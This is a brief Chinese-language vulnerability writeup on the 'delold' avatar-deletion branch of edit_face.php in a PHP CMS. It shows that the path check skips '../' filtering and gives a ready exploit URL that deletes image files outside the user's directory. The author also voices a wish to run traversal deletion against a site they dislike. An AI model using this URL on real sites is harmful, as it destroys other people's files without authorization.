edit_face.php
else if($dopost=='delold') //45行
{
if(empty($oldface))
{
ShowMsg("没有可删除的头像!", "-1");
exit();
}
$userdir = $cfg_user_dir.'/'.$cfg_ml->M_ID;
if(!ereg('^'.$userdir, $oldface))
{
$oldface = '';
}
if(eregi("\.(jpg|gif|png)$", $oldface) && file_exists($cfg_basedir.$oldface))
{
@unlink($cfg_basedir.$oldface);
}
只判断oldface 前面是否在目录下,没包括过滤 ../
但有验证 \.(jpg|gif|png)$ ,所以只能删除 jpg , gif ,png 类型的文件。
那天看那个站不爽,写个遍列删除的也爽YY了。
利用:
http://localhost/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif